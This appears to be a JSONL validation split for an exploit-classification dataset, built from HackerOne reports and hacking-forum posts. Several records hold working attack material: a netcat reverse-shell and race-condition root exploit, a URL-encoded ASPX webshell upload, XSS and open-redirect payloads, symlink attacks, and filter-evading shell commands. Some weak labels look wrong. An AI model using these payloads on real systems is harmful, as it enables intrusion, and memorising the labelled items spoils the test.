-{"id": "9a309ad2969b826d0fbd", "text": "[Open Redirect] CVE-2022-45402: Apache Airflow: Open redirect during login\n\nIn Apache Airflow versions prior to 2.4.3, there was an open redirect in the webserver's `/login` endpoint.\n\nmy initial email to `security@apache.org`:\n```\nHi,\n\nIn Apache Airflow, there is a parameter \"next\" on the Login page. And after a successful login, we're redirected to this parameter's value. \nI see there are some preventions for the open redirect bug. However, I can bypass these preventions using \"/\\google.com\"\n\nIt seems this parameter accepts anything after the slash \"/\" character. And, browsers parse \"/\\\" as \"http://\" in the location header.\n\nFor reproducing, you can try to login on the http://127.0.0.1:8080/login/?next=/\\google.com\n\nI tested this bug in the last version (v2.4.2)\n\nRegards,\nBugra Eskici\n```\n\nHere is the email thread:\n{█████████}\n\n## Impact\n\nUnvalidated URL redirection during login, can be used for phishing, etc.\n\nRegards,\nBugra", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-45402"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b790cfc0ba4a7909cb76", "text": "[Privilege Escalation] Acronis True Image Local Privilege Escalation Due To Race Condition In Application Verification\n\n## Summary\nThe Acronis True Image application has a SUID binary \"Acronis True Image\" that starts another binary \"console\" in the same directory. The SUID binary does some checks on \"console\" before it is run to make sure the correct binary is being run. By using a hardlink to the SUID binary we can coerice it to try and load \"console\" in a chosen directory we can write to. From this point we can exploit that the SUID binary does not lock \"console\" whilst it checks if it is valid, we setup a environment where we can replace console at will and try to win a race where we replace the \"console\" binary **after** it has been checked but **before** it has been run. If we win this race we gain code execution as root from an admin account. \n\n## Steps To Reproduce\nfirst we make the shell command to run \n```bash\necho \"mkfifo myfifo;nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1\" > shell \n```\nnow lets make the c program that will run this shell command naming it test.c\n```c\n#include <stdlib.h>\nint main() \n{\n\tsystem(\"touch pass;bash shell\");\n\treturn 0;\n}\n```\ncompile the program\n```bash\ngcc test.c \n```\nrun the following python program\n```python\nimport os \nimport time \n\nos.link(\"/Applications/Acronis True Image.app/Contents/MacOS/Acronis True Image\", \"./run\")\nos.link(\"/Applications/Acronis True Image.app/Contents/MacOS/console\", \"./console\")\n\nlag = 0.01 \nwhile True: \n\tos.popen(\"./run\")\n\ttime.sleep(lag)\n\tos.unlink(\"./console\")\n\tos.link(\"./a.out\", \"./console\")\n\ttime.sleep(1.0)\n\tos.unlink(\"./console\")\n\tos.link(\"Applications/Acronis True Image.app/Contents/MacOS/console\", \"./console\")\n\tlag += 0.01 \n\tif os.path.exists(\"./pass\"):\n\t\texit()\n```\nconnect to the root shell\n```bash\nnc 127.0.0.1 8080\n```\n## Recommendations\nAny binaries that are checked for validity should be locked so that they can not be replaced during validation. Additionally if possible the application should verify where it is being run from to try and prevent further symlink attacks.\n\n## Impact\n\nLocal privilege escalation to root.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "601b8a64b22ca68601c3", "text": "Cool article topic, thanks for posting! lightduty:The average linux user is advanced in IT so it will be hard to install.There are ways to install a rootkit onto a Linux system just like there is for any other system which don’t require social engineering the user to run your code. It should also be noted that not all Linux systems are controlled nor managed by a user such as servers or routers. Exploiting and installing a rootkit on a random router that sits on the internet is a relatively trivial task that’s been done for reasons to observe or manipulate network traffic.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-04-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "347e83beed0954f0a502", "text": "thank you so much for this tutorial if someone want to go deep in this topic you could check out these links >nostarch.com – 29 Oct 09Designing BSD RootkitsIf you understand C and want to learn how to manipulate the FreeBSD kernel, Designing BSD Rootkits is for you. Peer into the depths of a powerful operating system and bend it to your will! Richard Bejtlich, TaoSecurity View a sample chapter,...Price: USD 29.95Linux Rootkits Part 1: Introduction and Workflow – 25 Aug 20Linux Rootkits Part 1: Introduction and Workflow :: TheXcelleratorLearning about Linux rootkits is a great way to learn more about how the kernel works. What’s great about it is that, unless you really understand what the kernel is doing, your rootkit is unlikely to work, so it serves as a fantasic verifier.In the...https://www.cs.unc.edu/~porter/courses/cse306/s13/lab4.htmlhttps://linux-kernel-labs.github.io/refs/heads/master/labs/kernel_modules.html", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-08-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "63b9d570b31dd72bcec6", "text": "[Unknown] CPP: Pam Authorization Bypass\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2d425b09b1b0deeda0d3", "text": "I went ahead and followed you but Im unsure how to send an invite for the team… If you send a “join request” ill accept and then follow up with the team discord.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "63eeaaf83d8b59514bff", "text": "[Business Logic Errors] curl file writing susceptible to symlink attacks\n\n## Summary:\nIf curl command is used to download a file with predictable file name to a world writable directory (such as `/tmp`), a local attacker is able to mount a symlink attack to either A) redirect the target file writing to another file writable by the user or B) replace the downloaded file contents with arbitrary other data. libcurl `file://` upload is similarly affected.\n\nHowever, this really isn't a vulnerability in curl or libcurl itself, but use of curl or libcurl.\n\n## Steps To Reproduce:\n\n### Scenario A example:\n- attacker does:\n  `ln -s /home/victim/.bashrc /tmp/target.sh`\n- victim does:\n  `curl  --output-dir /tmp -O https://example.com/target.sh` or\n  `curl -o /tmp/target.sh https://example.com/whatever` or similar\n\n=> Instead of downloading the file to `/tmp/target.sh` it will be written to `/home/victim/.bashrc`. This attack works the best when the attacker can control which file is downloaded (granted, this is often not possible).\n\n### Scenario B example:\n- attacker does:\n `install -m 606 /dev/null /tmp/target.sh`\n- attacker waits for the file to be closed (inotify), and  immediately replaces the file contents with malicious content once closed\n- victim does:\n  `curl  --output-dir /tmp -O https://example.com/target.sh` or\n  `curl -o /tmp/target.sh https://example.com/whatever` or similar\n\n=> The victim downloaded content is replaced by malicious content before it's used (copied, executed etc) by the victim.\n\n## Remediation\n\n- Documentation should be amended to warn users against this threat. If temporary files are used, they should be put to secure temporary directory (created by `mktemp -d` or similar).\n- While not a vulnerability in curl/libcurl a mode that uses `O_NOFOLLOW` when opening output files could be added. Similarly in this secure mode `--create-dirs` would need to be amended to refuse to create entry in any location owned by another user (but making this check bulletproof is tricky),  This mode could not be the default behaviour, since it would likely break too many things.\n\n## Vulnerability discussion\n\nThe obvious argument against this being a vulnerability in curl/libcurl is that the user is responsible for the permissions of the directory they download to.  That is: the insecure use of curl/libcurl is actually where the vulnerability lies.\n\nInterwebs has quite many examples of vulnerable use or examples, including: https://daniel.haxx.se/blog/2020/09/10/store-the-curl-output-over-there/\n\n## Impact\n\nA) Overwriting files owned by the user downloading the files.\nB) Replacing downloaded data with malicious content", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0d6a0f4335c6f1a2a62f", "text": "I just found a solution for us, you can’t upload files to the windows virtual machine in the usual way but we can indirectly upload the upload_win.zip file to the windows server, what you need to do is: 1)encode the file upload_win.zip with the system you used to download it in base64 2)copy the base64 string you just got and use the following command at the parrot-htb virtual machine to get the original .zip file: echo <base64_value> | base64 -d -w 0 > upload_win.zip 3)you run http server service at parrot virtual machine 4)RDP to the window virtual machine and download the file upload_win.zip from the parrot virtual machine by the command in module => you will have .zip file in your Windows VM", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b2b2de1cad56aaedc81e", "text": "Hi all please help i need a hacker to help me with a job hacking a phone remotely", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-01-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9f9ad9796661ba88c161", "text": "[Code Injection] [hta3] Remote Code Execution on ████\n\n**Note**\nIn the days leading up to this event, I looked at `███████` due to the ████████ press release which described this as the scope for this event. I understand that this is outside of the current scope but I feel obligated to report this.\n\nPress release: ██████████\n> \"During the third iteration the entire ██████ domain can be targeted by participants as well, but rewards will be paid only for discovering certain categories of vulnerabilities.\"\n\n# Summary\nThe endpoint at ████ is vulnerable to a remote code execution vulnerability. The `?rdExportFilename=` parameter allows an attacker to write any filetype to any folder and the `rdReportName` parameter allows them to control the contents. This allows them to write a webshell to the server.\n\n## Reproduction Steps:\n1. Visit ██████████and login with the credentials: `█████`\n2. Go here: ██████and scroll down to the \"Reports\" section. i\n3. Choose any of them and click \"Run Report\". In the pop-up, click Run Report again.\n4. You will be redirected to `█████?rdNoShowWait=True`. Wait for this page to load.\n5. Start intercepting requests with Burp Suite.\n6. In the upper right-hand corner, click \"Export to Excel\" and intercept the POST request to `/RServer/rdPage.aspx`\n7. Change the `rdReportFormat` and the `rdExcelOutputFormat` query parameters to `NativeExcel`.\n8. Change the `rdExportFilename` parameter to `yourfilename.aspx`\n9. In the POST body, change the `rdReportName` parameter to your url-encoded aspx shell:\n\n```\n%3c%25%40%20%50%61%67%65%20%4c%61%6e%67%75%61%67%65%3d%22%43%23%22%25%3e%3c%25%40%20%49%6d%70%6f%72%74%20%4e%61%6d%65%73%70%61%63%65%3d%22%53%79%73%74%65%6d%22%20%25%3e%0d%0a%3c%25%20%0d%0a%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%20%70%72%6f%63%65%73%73%20%3d%20%6e%65%77%20%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%28%29%3b%0d%0a%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%53%74%61%72%74%49%6e%66%6f%20%73%74%61%72%74%49%6e%66%6f%20%3d%20%6e%65%77%20%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%53%74%61%72%74%49%6e%66%6f%28%29%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%55%73%65%53%68%65%6c%6c%45%78%65%63%75%74%65%20%3d%20%66%61%6c%73%65%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%52%65%64%69%72%65%63%74%53%74%61%6e%64%61%72%64%4f%75%74%70%75%74%20%3d%20%74%72%75%65%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%46%69%6c%65%4e%61%6d%65%20%3d%20%22%43%4d%44%2e%65%78%65%22%3b%0d%0a%73%74%72%69%6e%67%20%63%6d%64%20%3d%20%52%65%71%75%65%73%74%2e%51%75%65%72%79%53%74%72%69%6e%67%5b%22%36%38%63%32%63%38%62%31%66%63%34%37%37%36%36%65%61%66%34%33%30%32%37%61%38%65%61%63%61%31%32%31%22%5d%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%41%72%67%75%6d%65%6e%74%73%20%3d%20%22%2f%63%20%22%2b%63%6d%64%3b%0d%0a%70%72%6f%63%65%73%73%2e%53%74%61%72%74%49%6e%66%6f%20%3d%20%73%74%61%72%74%49%6e%66%6f%3b%0d%0a%70%72%6f%63%65%73%73%2e%53%74%61%72%74%28%29%3b%0d%0a%73%74%72%69%6e%67%20%6f%75%74%70%75%74%20%3d%20%70%72%6f%63%65%73%73%2e%53%74%61%6e%64%61%72%64%4f%75%74%70%75%74%2e%52%65%61%64%54%6f%45%6e%64%28%29%3b%0d%0a%52%65%73%70%6f%6e%73%65%2e%57%72%69%74%65%28%6f%75%74%70%75%74%29%3b%0d%0a%70%72%6f%63%65%73%73%2e%57%61%69%74%46%6f%72%45%78%69%74%28%29%3b%0d%0a%0d%0a%25%3e%3c%25%40%20%50%61%67%65%20%4c%61%6e%67%75%61%67%65%3d%22%43%23%22%25%3e%3c%25%40%20%49%6d%70%6f%72%74%20%4e%61%6d%65%73%70%61%63%65%3d%22%53%79%73%74%65%6d%22%20%25%3e%0d%0a%3c%25%20%0d%0a%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%20%70%72%6f%63%65%73%73%20%3d%20%6e%65%77%20%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%28%29%3b%0d%0a%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%53%74%61%72%74%49%6e%66%6f%20%73%74%61%72%74%49%6e%66%6f%20%3d%20%6e%65%77%20%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%53%74%61%72%74%49%6e%66%6f%28%29%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%55%73%65%53%68%65%6c%6c%45%78%65%63%75%74%65", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1c8c7206c441fae9f180", "text": "[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://████████.edu\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\npoc attached\nanother parameter at #1636345\nq_23463\npayload: %22%27%3e%3csvg%2fonload%3dconfirm(666)%3e\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n████.edu\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b3f0adfa9249dbb8e3bd", "text": "[Insecure Temporary File] Broken link hijacking in https://kubernetes-csi.github.io/docs/drivers.html?highlight=chubaofs#production-drivers\n\nReport Submission Form\n\n## Summary:\nWhen a web application has any pages, sources, links to external 3rd party services and are broken then the attacker can claim those endpoints to successfully conduct the attack and claim those endpoints on behalf of the target website and impersonate his identity.\n\n## Steps To Reproduce\n1) Visit `https://kubernetes-csi.github.io/docs/drivers.html?highlight=chubaofs#production-drivers`\n2) Search for ChubaoFS\n3) Click on that link\n(Steps I followed --> \nClick Link \n\n{F1601565}\n\n404 Error\n\n{F1601567}\n\nChange my Username to match the broken link \n\n{F1601566}\n\nCreate the required repo.\n\n{F1601568}\n\n4) You will be redirected to My github repo\n5) When someone clicks on the ChubaoFS link they will be redirected to the attacker repository\n\n## Supporting Material/References:\n\n1. `https://hackerone.com/reports/1031321`\n2. `https://hackerone.com/reports/1117079`\n3. `https://edoverflow.com/2017/broken-link-hijacking/`\n\n## Impact\n\nThe user will install the wrong drivers which leads to impersonation attacks. The attacker can install Ransomware, trojan, etc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1dc80b191bdd423d4fe6", "text": "[Improper Access Control - Generic] [h1-2102] Improper Access Control at https://shopify.plus/[id]/users/api in operation UpdateOrganizationUserTfaEnforcement\n\n## Summary:\nThere is an access control issue that happens when a Shopify Plus user tries to update the 2FA requirement of a user in another organisation. While the response shows an error message, an email is sent to the user with the 2FA status, first name, last name, email address, and shop id from the victim.\n\n## Steps To Reproduce:\n1. Log in to your Shopify Plus account https://shopify.plus/login\n2. Go to `Administration` -> `Users` then go in one of the user page\n3. In the `Security` section, edit the 2FA setting\n\n    {F1168658}\n4. Notice the following request:\n    ```http\nPOST /34808573/users/api HTTP/1.1\nHost: shopify.plus\n [...]\n\n    {\n        \"operationName\": \"UpdateOrganizationUserTfaEnforcement\",\n        \"variables\": {\n            \"id\": \"Z2lkOi8vb3JnYW5pemF0aW9uL09yZ2FuaXphdGlvblVzZXIvMzQwNTc5Mzg=\",\n            \"enforced\": false\n        },\n        \"query\": \"mutation UpdateOrganizationUserTfaEnforcement($id: OrganizationUserID!, $enforced: Boolean!) {\\n  updateOrganizationUserTfaEnforcement(id: $id, enforced: $enforced) {\\n    organizationUser {\\n      id\\n      tfaEnforced\\n      __typename\\n    }\\n    userErrors {\\n      field\\n      message\\n      __typename\\n    }\\n    operationStatus\\n    message\\n    __typename\\n  }\\n}\\n\"\n    }\n```\n5. In Burp Repeater, edit the `id` with `Z2lkOi8vb3JnYW5pemF0aW9uL09yZ2FuaXphdGlvblVzZXIvMzQwNzE2MzI=`\n6. You will receive an email containing Anatoly information :\n{F1168661}\n\n## Impact\n\nA Shopify Plus user can retrieve information (2FA status, first name, last name, email address, shop ip) from a user in another organisation.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dd8f3e71d0b96bb28318", "text": "[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://██████████\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\npoc attached\nanother parameter at #1636345\nq_21671=\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "843e22158907c9b80f25", "text": "[Information Disclosure] Security token and handler name leak from window.braveBlockRequests\n\n## Summary:\n\nBrave for iOS protects privileged JS to native bridges by using random JavaScript handler names and security tokens.\nHowever, by altering [window.braveBlockRequests](https://github.com/brave/brave-ios/blob/08fb4b0ca43625d706b96158267f0b8da6f63250/Client/Frontend/UserContent/UserScripts/RequestBlocking.js#L6) property from scripts on the web page, these secret values can be stolen.\n\nTo be specific, `braveBlockRequests` property is set after the execution of the script on the page. Thus, by setting the malicious property as an immutable property from the page beforehand as shown below, it is possible to prevent overwriting by the legitimate property.\n```\nObject.defineProperty(window, \"braveBlockRequests\", {\n    enumerable: false,\n    configurable: false,\n    writable: false,\n    value: function(args) { window.args = args } // Steal handler name and token here\n});\n```\n\n## Products affected: \n\n* Brave for iOS Version 1.41.1 (22.7.27.20) with the default settings\n\n## Steps To Reproduce:\n\n* Open https://csrf.jp/2022/brave_token_leak.php\n* Push \"Attack\" button in the page\n* Secret handler name and security token is shown on the page\n\n## Supporting Material/References:\n\n* Attached is a movie file that demonstrate the above steps to reproduce.\n\n## Impact\n\nThe impact depends on which bridge is abused. As further features are implemented in the Brave, its potential risk tends to be increased.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e58991be7e472c228d6a", "text": "[Unknown] [Java]: CWE-073 - File path injection with the JFinal framework\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1c98e34a1c3cb5242628", "text": "There are only two chipsets that serious cybersecurity specialists do recommend, the Atheros AR9271 and the Realtek RTL8812AU. For more information related to these chipsets, you may find David Bombal’s YT videos useful. Or you know, google it. If you want to do packet injection and monitor nearby networks you gotta have an adapter that has these capabilities. There are more out there, other chipsets but I honestly believe these are the best money can buy, Both chipsets can be found in the ALFA adapters which everyone agrees are the best. Which specific adapter, there are a few, depends on your budget, how easy are to conceal and of course, availability, not everyone lives in a country where ALFA products will be easy to find. A more affordable option is the TP-Link WN722N version 1, it comes with the Atheros chipset and I think works out of the box, aka plug and play, but today’s market has only version 2 or 3 available which cant do monitor mode and packet injection without drivers and help. If you find a version 1 adapter you are a lucky man, if not Bombal’s videos help you to install the drivers, and voila, within minutes your TP-Link will work but bear in mind the chipset isn’t the Atheros or the Realtek 8812au, rather another version, can’t remember which one now. It will work but in terms of performance and quality is considered inferior quality. I talked about brands but more important than the brand is the chipset which, if you are lucky, you can find in unbranded generic adapters like the Wifi Nation and others. Mine is an unbranded one with the RTL8812AU chipset. If you find a cheaper unbranded adapter that comes in cheap miserable packaging but the chipset is one of the two, then go get it. Keep in mind that Atheros is single-band only, 2.4 while the RTL is dual, 2.4 and 5.8 I hope you find this information useful.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-04-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "20d7618490d07f803088", "text": "[Cleartext Transmission of Sensitive Information] CVE-2023-23914: curl HSTS ignored on multiple requests\n\n## Summary:\ncurl tool HSTS doesn't work correctly when performing multiple requests within a single invocation.\n\n## Steps To Reproduce:\n\n  1. `curl --hsts \"\" https://hsts.example.com http://hsts.example.com`\n\nThe second request will be performed over HTTP regardless if correct HSTS header is returned by the first request.\n\n## Impact\n\nRequest performed over insecure channels unexpectedly and loss of confidentiality and integrity.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-23914"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f4e89ce3aef35449576e", "text": "[Improper Access Control - Generic] Docker Registry without authentication leads to docker images download\n\n**Description:**\nWith the following shodan dork: 'ssl.cert.subject.cn:*.mil country:\"US\" http.status:200 product:\"Docker Registry HTTP API\"', you can see an exposed registry server under the CN \"██████\", which is unreachable from the domain, so I am reporting directly the IP address.\n\n## References\n\nhttps://dreamlab.net/en/blog/post/abusing-exposed-docker-registry-apis/\nhttps://docs.docker.com/registry/spec/api/\n\n## Impact\n\nAn attacker can download Docker images and read the source code of probably confidential tools.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\nDocker Registry HTTP API v2\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nTo get a list of the repositories on the API send the following request:\n```\n> GET /v2/_catalog HTTP/1.1\n> Host: ████\n> Accept: */*\n```\n\nThis will return a few repositories hosted on the website.\nTo get any of the repositories files, you will first need to obtain the tag, so you can download the manifest file.\nFor example, we will choose the repo \"█████████/█████████\".\nLet's send the following request:\n```\n> GET /v2/████████/██████/tags/list HTTP/1.1\n> Host: █████████\n> Accept: */*\n```\nThis will give us a json body, which contains the tag we want to download the manifest from, in this case we will have \"3.0.1\"\n\nThen, to obtain the manifest just send the following request:\n```\n> GET /v2/████████/█████/manifests/3.0.1 HTTP/1.1\n> Host: █████████\n> Accept: */*\n```\n\nThen, just pick any \"blobSum\" value from the \"fsLayers\" array from the response we just received with the previous request and send the following request:\nFor example I will now pick: \"█████████\"\n\n```\n> GET /v2/█████████/██████/blobs/████ HTTP/1.1\n> Host: ████████\n> Accept: */*\n```\n\nThis will make you download a file, which is a .tar.gz archive, and there will be parts of the repo you are downloading.\n\n## Suggested Mitigation/Remediation Actions\nImplement access control on the registry or do not expose this API unless strictly necessary.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "49c64f2c54dfbcb2b978", "text": "[Missing Encryption of Sensitive Data] App stores client secret unencrypted in database\n\nTo identify the nextcloud server need to have the client id and the client secret.\nThe id is public but the secret is not. Currently this is stored in plain text in the database. Here you can't use hashing as you need the actual value. But Nextcloud should at the very least make sure that this data is properly encrypted at rest in the database.\n\n## Impact\n\nAn attacker that obtains read only access to (a snapshot of) the database can impersonate the Nextcloud server without issues", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f363cb853ec906e5e606", "text": "[Violation of Secure Design Principles] Suspicious login app ships old league/flysystem version\n\n## Summary:\nThe vulnerability allows a remote attacker to compromise vulnerable system.\nThe vulnerability exists due to a race condition. A remote attacker can send a specially crafted request and execute arbitrary code on the target system.\n`Flysystem: 0.1.0 - 2.1.0`\n\n\nhttps://github.com/nextcloud/suspicious_login/\n```php\n<?php\nnamespace League\\Flysystem;\nuse RuntimeException;\nfinal class CorruptedPathDetected extends RuntimeException implements FilesystemException\n{\n    public static function forPath(string $path): CorruptedPathDetected\n    {\n        return new CorruptedPathDetected(\"Corrupted path detected: \" . $path);\n    }\n}\n```\n```php\n   {\n        $path = str_replace('\\\\', '/', $path);\n        $path = $this->removeFunkyWhiteSpace($path);\n        $this->rejectFunkyWhiteSpace($path);\n```\n\n**Supporting References:**\nThe unicode whitespace removal has been replaced with a rejection (exception).\nThe library has been patched in:\n * [1.x: thephpleague/flysystem@f3ad691](https://github.com/thephpleague/flysystem/commit/f3ad69181b8afed2c9edf7be5a2918144ff4ea32)\n * [2.x: thephpleague/flysystem@a3c694d](https://github.com/thephpleague/flysystem/commit/a3c694de9f7e844b76f9d1b61296ebf6e8d89d74)\n\n**CVE-2021-32708**\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n[GHSA-9f46-5r25-5wfm](https://github.com/thephpleague/flysystem/security/advisories/GHSA-9f46-5r25-5wfm)\n\n## Impact\n\nThe whitespace normalisation using in 1.x and 2.x removes any unicode whitespace. Under certain specific conditions this could potentially allow a malicious user to execute code remotely.\n\nThe conditions:\n * A user is allowed to supply the path or filename of an uploaded file.\n * The supplied path or filename is not checked against unicode chars.\n * The supplied pathname checked against an extension deny-list, not an allow-list.\n * The supplied path or filename contains a unicode whitespace char in the extension.\n * The uploaded file is stored in a directory that allows PHP code to be executed.\n\nGiven these conditions are met a user can upload and execute arbitrary code on the system under attack.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2021-32708"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "346e9c3ed01d323f790a", "text": "That sounds like a fantastic idea! Engaging with experienced CTF players will undoubtedly enhance your skills and expose you to different problem-solving approaches. Collaborating with them in CTF competitions can be a fun and educational experience. Good luck finding and connecting with those cool people! Enjoy the CTF challenges and happy hacking!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "382fec44281e3b5a3250", "text": "Can someone help me? i´ve been stuck in here for some days now… I get the ‘malicious request denied’ message, and then i’ve tried several commands and none of them worked for me, This were some of the commands i used: ${LS_COLORS:10:1}${PATH:0:1}flag.txt echo -n ‘cat /flag.txt’ | base64 ${LS_COLORS:10:1}bash<<<$(base64<<<-dY2F0IC9mbGFnLnR4dA==) ${LS_COLORS:10:1}bash<<<$(rev<<<‘txt.galf%2F%09tac’) ${LS_COLORS:10:1}c’a’t’${PATH:0:1}fl’a’g.txt Appreciate all the help i can get. Thanks in advance.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-06-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bbf39efcdc2d46c3a36b", "text": "netstat -l | grep “tcp” | grep -v “tcp6” | grep -v “localhost” | wc -l", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "021c25a273ee44f29453", "text": "API for CTF Challenge\n\nCan hack the box be used for a CTF challenge? I want the API to interact with my website and create challenges for various age groups", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
